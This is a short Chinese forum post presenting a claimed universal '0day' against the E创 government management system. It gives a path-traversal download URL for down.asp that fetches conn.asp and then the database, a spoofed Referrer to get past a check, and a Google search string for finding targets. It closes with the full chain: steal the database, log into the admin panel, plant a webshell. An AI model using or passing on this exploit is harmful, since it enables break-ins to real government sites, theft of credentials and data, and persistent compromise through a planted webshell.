E创政府管理系统通杀0day

提示非法链接的补上Referrer,总不至于这玩意都要做个利用工具吧

另：有人问这玩意咋用，下载conn.asp->下载数据库->登陆后台->上马->完了
我看了回复真有点无语啊，数据库当然防下载，不过conn.asp都能下，数据库下不了？把url里面的conn.asp换成数据库路径就行了啊。。。

  url:
http://域名/down.asp?FileName=doc/.%./.%./conn.asp.（最后有个点儿）

Referrer 这个别忘了
http://域名/E_ReadNews.asp

Google特征串
E_ReadNews.asp?NewsId=